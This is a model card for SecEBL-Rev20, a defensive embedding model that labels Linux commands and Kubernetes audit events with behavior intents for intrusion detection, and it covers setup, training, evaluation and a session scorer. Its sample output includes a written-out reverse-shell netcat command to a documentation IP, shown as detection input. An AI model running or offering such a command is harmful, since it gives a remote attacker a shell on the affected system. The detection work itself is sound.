willchen0011/SecEBL

SecEBL-Rev20

SecEBL stands for Security Event Behavior Labeler.

SecEBL-Rev20 is an intent-recognition model for security telemetry. It maps a Linux command line or normalized Kubernetes AuditLog event into ranked behavior-intent labels, so downstream detection can reason about what an actor is trying to do instead of only matching fixed strings, allowlists, blacklists, or opaque risk scores.

Project repository: github.com/EBWi11/SecEBL

At A Glance

The public examples include a reviewed, publicly releasable subset of the internal Linux final benchmark plus normalized Kubernetes AuditLog examples: 10,520 Linux rows across 531 sessions and 144 K8s rows across 46 sessions. They exist so users can run the model locally and inspect outputs without access to private telemetry. The full training corpora, full internal benchmarks, private pressure-stream rows, and private run logs are not redistributed because parts of them contain real telemetry or real operational context.

First-Time User Path

Use the companion GitHub repository for the runnable code and this Hugging Face repository for model artifacts:

git clone https://github.com/EBWi11/SecEBL.git
cd SecEBL

git lfs install
git clone https://huggingface.co/willchen0011/SecEBL model_artifacts

pip install -e .
scripts/run_examples.sh

After the script finishes, inspect:

runs/examples/linux_l1/predictions.jsonl
runs/examples/l2/example_linux_session_results.json

L1 is the stable behavior-labeling API. It outputs ranked behavior evidence, not an intrusion verdict. L2 is optional and experimental; it runs only when an L2 artifact such as model_artifacts/l2_artifacts/logreg.joblib is available.

What This Repository Contains

This Hugging Face repository is the model artifact bundle.

This repository does not include the runnable helper scripts. Use EBWi11/SecEBL for the Python package and one-command test script. The same public benchmark-subset examples are included here for convenience.

Output Shape

L1 predictions expose ranked top_labels:

{
  "observation_id": "event:0",
  "command": "nc -e /bin/sh 203.0.113.10 4444",
  "top_labels": [
    {
      "label_id": "spawn_reverse_shell",
      "score": 0.811,
      "axis": "execution_and_process"
    },
    {
      "label_id": "connect_external_service",
      "score": 0.488,
      "axis": "network"
    }
  ]
}

L1 does not emit behavior_tags and does not apply a user-facing tag-selection threshold. behavior_tags[] is the field used by training and evaluation label files. Runtime prediction output is ranked top_labels.

Why Intent Labels Matter

Traditional IDS pipelines often depend on signatures, rules, allowlists, blacklists, and low-explainability tabular ML. Those tools still matter, but they can struggle when legitimate tools are used in suspicious ways, when tool syntax drifts quickly, or when the same behavior appears in different telemetry formats.

SecEBL adds an intermediate representation:

raw security event
  -> L1 behavior-intent recognition
  -> L2 session reasoning or another downstream detector
  -> alert / review / policy

L1 intentionally does not decide that a single event is an intrusion. It produces explainable behavior evidence such as read_credential_material, execute_remote_command, create_scheduled_task, grant_cluster_privilege, or query_service_health.

This is useful for:

• —LOLT / living-off-the-land behavior where the tool is legitimate but the behavior may be suspicious in context.
• —Rule-writing lag, where new tool syntax appears faster than signatures can be maintained.
• —Multi-platform telemetry, where Linux commands, Kubernetes audit events, and future telemetry can share a behavior vocabulary.
• —Explainable detection, where an alert should be tied to explicit behavior labels rather than only an opaque score.

Data And Vocabulary

Rev20 is a flat behavior-tag schema.

Schema groups:

The release baseline was trained from internal Rev20 corpora:

The Linux corpus covers roughly 2,700 distinct first-token/tool forms by a conservative executable-name estimate. Common families include shell utilities, network tools, package/build tools, cloud CLIs, IaC tools, container tooling, databases, secret stores, and Kubernetes tooling.

Training Details

The raw training corpora are not redistributed, but the following details are documented so readers can understand the model scale and method.

Training data scale:

The Linux corpus is intentionally mixed rather than a single synthetic source. The largest source slices are roughly 36.9k generated rows, 28.5k manually reviewed rows, 4.0k benchmark-prune/migration rows, 3.6k common-difference gap rows, 2.7k reviewed generated rows, 2.6k baseline manual rows, and 2.3k attack batch rows, plus smaller targeted boundary, miss-review, public-attack, and high-miss batches.

Token lengths are short enough for a compact encoder. Across the final pair set, command-side text is p50 32 tokens, p90 55, p95 68, and p99 113; fewer than 0.3% of examples exceed the 160-token training limit. Label-side semantic texts are p50 40 tokens and p95 62.

Hard negatives were designed in two layers:

• —Schema-level negatives: the dataset builder used schema_hard, with a 16-item hard-negative pool and up to 8 negatives per positive before MNRL batching. These negatives come from semantically nearby Rev20 tags, so the model is forced to separate labels such as read-vs-search, inspect-vs-modify, local-vs-remote execution, and similar tool-boundary cases.
• —Batch-level negatives: the training loader used hard-negative-aware MNRL batches. The final run used config rev20_conservative_20260620_ep96_miss_v11, covering 74 difficult labels and placing 2 hard-negative labels near each anchor where possible.
• —Boundary upsampling: 1,766 boundary-sensitive pairs were duplicated once, producing 1,766 extra training exposures. These rows target recurring failure modes such as grep/read ambiguity, wrapper commands, tool-specific boundaries, no-hit review cases, and post-evaluation miss-review batches.

Public Benchmark Subset

This Hugging Face repository includes the same public benchmark examples as the companion GitHub repository: the Linux benchmark subset under examples/linux/ and normalized Kubernetes AuditLog examples under examples/k8s/.

Session-level labels use English enums: normal_operation and intrusion. The full internal Linux benchmark remains larger: 12,594 rows, 663 sessions, and complete 361-tag coverage.

Evaluation Snapshot

The full internal benchmark data is not public. The aggregate size, distribution, and metrics are public so users can understand what the headline numbers mean.

Evaluation scale:

Retrieval quality:

The Linux benchmark covers the complete 361-tag Rev20 vocabulary and includes complex multi-tag command rows. The K8s result should be read as a small-domain sanity result rather than broad Kubernetes coverage because the current K8s corpus is much smaller than the Linux corpus.

Internal Linux benchmark tag cardinality:

Top internal Linux benchmark tags:

Example Outputs

These examples show the user-facing L1 output style. Scores are cosine/retrieval scores after the release prompt profile. The public helper scripts save top labels in predictions.jsonl.

Runtime Performance

SecEBL-Rev20 is a SentenceTransformers-style embedding retriever over 361 Rev20 tag definitions. The serving path embeds the event, embeds or loads tag definition embeddings, then ranks tags by similarity.

Current single-card CUDA recommendation:

Measured on an NVIDIA GeForce RTX 5090 32GB spot-check:

Exact raw-event cache lookup was measured separately at mean 1,817,462.76 rows/s. Cache hits reuse saved L1 top-k results and do not run model inference.

L2 Artifact

This repository includes an experimental fitted L2 session scorer so the companion GitHub scripts/run_examples.sh can run the public Linux and K8s L1 examples, plus Linux example-session scoring, when this model directory is used as MODEL_DIR.

In this release, a session is a sequence of events grouped by session_id. L1 labels each event independently. L2 scores the whole session by aggregating cached L1 ranked tags, retrieval scores, tag diversity, behavior transitions, and routine-operation context. The L2 output is a session-level verdict such as intrusion or normal_operation, not a replacement for per-command behavior tags.

For compatibility with the released L2 artifact, L2 derives its session features from cached L1 top_labels using an internal selected-tag feature path. In plain terms, L2 filters the cached ranked labels inside its own feature builder before session scoring. This does not change L1 prediction output: users still receive ranked top_labels, not a selected behavior_tags field.

Runtime L2 does not use raw command text, user names, host names, or session ids as scoring features. Session ids may appear in private data-prep workflows for label assignment, but they are not runtime allow/deny lists.

Internal L2 summary:

The 7M pressure-stream result was measured on real background telemetry plus embedded synthetic attack sessions. The underlying rows and real session identifiers are not redistributed. The included L2 artifact is a research/reproducibility component, not a general production IDS claim.

Direct SentenceTransformers Loading

You can load the embedding model directly:

from sentence_transformers import SentenceTransformer

model = SentenceTransformer("willchen0011/SecEBL")

Direct loading gives you the encoder only. SecEBL is a retrieval-style labeler: encode the event, encode or load the Rev20 semantic label texts from semantic_texts.jsonl, rank labels by cosine similarity, and save the top-k labels. For normal use, prefer the companion GitHub helpers because they keep the prompt profile, semantic text loading, top-k output format, and optional L2 feature path aligned with this release.

Intended Use

• —Research and evaluation of security-event behavior labeling.
• —Internal security detection, investigation, and triage for systems an organization owns, operates, administers, or is explicitly authorized to defend.
• —Building session-level risk scoring over SecEBL behavior-label streams.

Out Of Scope

• —Standalone verdicting on a single event.
• —Authorization or policy-compliance decisions without human validation.
• —Monitoring systems you are not authorized to defend.

License

This Hugging Face repository is released under Apache License 2.0.

The base model is Alibaba-NLP/gte-modernbert-base, which is also Apache-2.0. Source code, schemas, public examples, public documentation, helper scripts, model artifacts, and the experimental L2 artifact are Apache-2.0 unless a file explicitly states otherwise.